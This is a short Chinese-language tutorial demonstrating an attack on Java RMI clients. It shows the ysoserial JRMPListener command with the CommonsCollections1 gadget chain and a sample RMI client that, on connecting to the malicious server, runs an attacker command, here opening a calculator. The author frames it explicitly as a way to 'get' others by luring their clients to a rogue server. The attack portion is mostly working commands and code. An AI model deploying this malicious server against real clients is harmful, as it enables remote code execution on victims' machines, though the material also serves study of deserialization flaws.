0x01 前言

直接开始吧,主要是知道怎么攻击的就可以了

0x02 环境

  1. 编辑器为: IntelliJ IDEA
  3. java版本:
  4. java version "1.7.0_80"
  5. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  6. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  8. 使用的架包:
  9. Commons Collections 3.1

0x03 攻击测试

0x03.1 案例介绍

例如现在我们要搞人家,那么就可以特地搭建一个这样的服务器,等待客户端链接我们,然后一击毙命

0x3.2 创建恶意服务端

  1. // 下载ysoserial
  2. // 然后按如下命令启动即可
  3. java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener 9998 CommonsCollections1 "open /System/Applications/Calculator.app"

image.png

0x03.3 被攻击测试

  1. // 目录结构
  2. ├── RMITest5
  3. │   ├── RMITest5Interface.java
  4. │   └── RMIClient
  5. │        └── RMIClientTest5.java
  1. // 公共接口
  2. package RMITest5;
  4. import java.rmi.Remote;
  5. import java.rmi.RemoteException;
  7. public interface RMITest5Interface extends Remote {
  8.     String test() throws RemoteException;
  9. }
  1. // 客户端
  2. package RMITest5.RMIClient;
  4. import RMITest.RMITestInterface;
  6. import java.rmi.Naming;
  8. public class RMIClientTest5 {
  9.     public static void main(String[] args) {
  10.         try {
  11.             String rmiName = "rmi://127.0.0.1:9998/t5";
  13.             // 查找远程RMI服务
  14.             RMITestInterface rt = (RMITestInterface) Naming.lookup(rmiName);
  15.         } catch (Exception e) {
  16.             e.printStackTrace();
  17.         }
  18.     }
  19. }
  24. // 运行结果
  25. 运行完毕以后,客户端会弹出一个计算器